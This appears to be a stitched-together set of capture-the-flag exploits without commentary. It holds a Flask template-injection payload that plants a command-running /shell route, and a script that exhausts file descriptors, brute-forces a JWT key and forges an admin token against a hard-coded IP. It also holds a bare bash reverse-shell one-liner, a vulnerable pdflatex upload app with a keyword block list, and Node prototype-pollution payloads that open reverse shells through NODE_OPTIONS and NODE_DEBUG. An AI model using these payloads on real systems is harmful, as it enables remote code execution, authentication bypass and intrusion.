import time
class User():
    def __init__(self,name,password):
        self.name=name
        self.pwd = password
        self.Registertime=str(time.time())[0:10]
        self.handle=None

        self.secret=self.setSecret()

    def handler(self):
        self.handle = open("/dev/random", "rb")
    def setSecret(self):
        secret = self.Registertime
        try:
            if self.handle == None:
                self.handler()
            secret += str(self.handle.read(22).hex())
        except Exception as e:
            print("this file is not exist or be removed")
        return secret

__import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd','/readflag')).read())

{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5fZ290X2ZpcnN0X3JlcXVlc3Q9RmFsc2U7X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5hZGRfdXJsX3J1bGUoJy9zaGVsbCcsJ3NoZWxsJyxsYW1iZGE6X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLnJlcXVlc3QuYXJncy5nZXQoJ2NtZCcsJy9yZWFkZmxhZycpKS5yZWFkKCkp').decode())")}}

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
"""
@Project : _media_file_task_495aa9d7-4d63-4f4d-9b17-7a241a9173d5 
@File    : exp_myself
@desc    :
@Author  : @Natro92
@Date    : 2024/10/2 下午3:58
@Blog    : https://natro92.fun
@Contact : natro92@natro92.fun
"""
import base64
import json
import time
from concurrent.futures import ThreadPoolExecutor

import jwt
import requests

tar_url = "1.95.40.5:30501"

tar_reg_url = 'http://' + tar_url + '/register'
tar_login_url = 'http://' + tar_url + '/login'
tar_remove_url = 'http://' + tar_url + '/removeUser'
tar_admin_url = 'http://' + tar_url + '/admin'
tar_shell_url = 'http://' + tar_url + '/shell'


def make_register_request(i):
    res = requests.post(tar_reg_url, json={"username": "admin" + str(i), "password": "123456"})
    print(str(i) + " " + res.text)
    assert "Successfully Removed:" + "admin" + str(i) in res.text, res.text
    return res


def make_remove_request(i):
    res = rs.post(tar_remove_url, data={'username': "admin" + str(i)}, cookies={'Token': token})
    # print(res.text)
    return res


# * 创建2048个以上用户获取到返回Date
# print("[*] 创建2048个以上用户获取到Date")
with ThreadPoolExecutor(max_workers=10) as executor:
    for i in range(2051):
        executor.submit(make_register_request, i)

# * 超过2048占满fd获取目标jwt
print("[*] 超过2048占满fd获取目标jwt")
key = str(time.time())[0:10]
res = requests.post(tar_reg_url, json={"username": "natro92", "password": "123456"})
token = \
    requests.post(tar_login_url, json={"username": "natro92", "password": "123456"}).headers['Set-Cookie'].split(
        'Token=')[
        1]
jwtData = (json.loads(base64.b64decode(token))["secret"])
print(jwtData)

# * 爆破出jwtData所用的时间key
for i in range(int(key) - 2000, int(key) + 2000):
    try:
        print(jwt.decode(jwtData, str(i), algorithms='HS256'))
        key = str(i)
    except:
        pass
print("[*] 爆破出目标key：" + key)
secret = {'name': 'natro92', 'is_admin': '1'}
verify_c = jwt.encode(secret, key, algorithm='HS256')
infor = {'name': 'natro92', 'secret': verify_c}
token = base64.b64encode(json.dumps(infor).encode()).decode()
print("[*] admin用户token：" + token)

# * 检测是否为正常admin用户
rs = requests.Session()
res = rs.get(tar_admin_url, cookies={'Token': token})
if "Welcome to admin page!! natro92" in res.text:
    print("[*] 检测是正常admin用户")
else:
    print("[*] 检测失败")
    assert "Wrong user"

# * 删除用户使数量少于2048
with ThreadPoolExecutor(max_workers=10) as executor:
    for i in range(900, 1000):
        executor.submit(make_remove_request, i)
print("[*] 删除用户使数量少于2048")

# ! RCE
shellcode = '''
__import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd','/readflag')).read())
'''.strip()

shell_base = base64.b64encode(shellcode.encode()).decode()
# 爆破目标方法位置。
for i in range(80, 81):
    code = '''
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(DATA).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())")}}
    '''.strip()

    code = code.replace("DATA", str(i))
    code = code.replace("XXX", shell_base)

    resp = rs.post(tar_admin_url, data={"code": code}, cookies={'Token': token})
    if resp.status_code != 500:
        print(i, resp.text)
        print('[!] 噫，道爷我成了')
        resp = rs.get(tar_shell_url, params={'cmd': '/readflag'}, cookies={'Token': token})
        print(resp.text)
        break

bash -c "bash -i >& /dev/tcp/xxx/7777 0>&1"

import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename

app = Flask(__name__)

if not app.debug:
    handler = logging.FileHandler('app.log')
    handler.setLevel(logging.INFO)
    app.logger.addHandler(handler)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def compile_tex(file_path):
    output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
    try:
        subprocess.check_call(['pdflatex', file_path])
        return output_filename
    except subprocess.CalledProcessError as e:
        return str(e)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)

    if file and allowed_file(file.filename):
        content = file.read()
        try:
            content_str = content.decode('utf-8')
        except UnicodeDecodeError:
            return 'File content is not decodable'
        for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate', 'app', 'flag']:
            if bad_char in content_str:
                return 'File content is not safe'
        file.seek(0)
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        return 'File uploaded successfully, And you can compile the tex file'
    else:
        return 'Invalid file type or name'

@app.route('/compile', methods=['GET'])
def compile():
    filename = request.args.get('filename')

    if not filename:
        return 'No filename provided', 400

    if len(filename) >= 7:
        return 'Invalid file name length', 400

    if not filename.endswith('.tex'):
        return 'Invalid file type', 400

    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    print(file_path)
    if not os.path.isfile(file_path):
        return 'File not found', 404

    output_pdf = compile_tex(file_path)
    if output_pdf.endswith('.pdf'):
        return "Compilation succeeded"
    else:
        return 'Compilation failed', 500

@app.route('/log')
def log():
    try:
        with open('app.log', 'r') as log_file:
            log_contents = log_file.read()
        return render_template('log.html', log_contents=log_contents)
    except FileNotFoundError:
        return 'Log file not found', 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, debug=False)

import requests

url = "1.95.87.154:30497"

login_url = "http://" + url + "/login"
add_report_url = "http://" + url + "/report"
shell_url = "http://" + url + "/VanZY_s_T3st"

rs = requests.session()


def login():
    login_json = {
        "username": "admin",
        "password": "TL4gor2C+zygSaheIgd0R5Z0F9VKIS6tw0MTW7d+4L8Qv6uYMhxhgmnJdxldA9BiGZ5iTMaQm0dO31rW/lPA6zSRrnmqpFYXY0BQfk6ldK6zZyfdWlYYJYp8UekyldBX1NHSbg2MKJe6/JRKnSLLztZeb3M+4kDR/jp6gLXt4d8=",
    }
    resp = rs.post(login_url, json=login_json)
    print(resp.headers['Set-Cookie'])


def add_report(jsonp):
    resp = rs.post(add_report_url, json=jsonp)

def get_shell():
    resp = rs.get(shell_url)


payload = {
    "user": "__proto__",
    "date": "2",
    "reportmessage": {
        "shell": "/proc/self/exe",
        "argv0": "console.log(require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/7777 0>&1\"').toString());//",
        "env": {"NODE_OPTIONS": "--require /proc/self/cmdline"},
    },
}

login()
add_report(payload)
get_shell()

{
    "user":"__proto__",
    "date":"2",
    "reportmessage":{
        "shell":"/readflag",
        "env":{
            "NODE_DEBUG":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');process.exit();//",
            "NODE_OPTIONS":"-r /proc/self/environ"
        }
    }
}

{
    "user":"__proto__",
    "date":"2",
    "reportmessage":{
        "shell":"/bin/bash",
        "env":{
            "BASH_FUNC_whoami%%":"() { /readflag;}"
        }
    }
}